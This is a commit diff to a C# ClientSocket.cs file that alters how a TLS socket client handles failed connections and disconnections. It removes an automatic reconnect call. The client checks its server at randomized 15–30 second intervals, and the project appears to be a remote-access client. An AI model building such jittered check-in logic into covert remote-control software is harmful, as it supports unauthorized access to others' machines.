Update ClientSocket.cs

This commit is contained in:
NYAN CAT 2019-05-29 19:47:52 +03:00
parent 706a13202a
commit 052fe588f4

View File

@ -72,11 +72,17 @@ namespace Client.Sockets
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
} }
else
{
IsConnected = false;
return;
}
} }
catch catch
{ {
Debug.WriteLine("Disconnected!"); Debug.WriteLine("Disconnected!");
IsConnected = false; IsConnected = false;
return;
} }
} }
@ -98,10 +104,7 @@ namespace Client.Sockets
Client?.Dispose(); Client?.Dispose();
MS?.Dispose(); MS?.Dispose();
} }
finally catch { }
{
InitializeClient();
}
} }
public static void ReadServertData(IAsyncResult ar) public static void ReadServertData(IAsyncResult ar)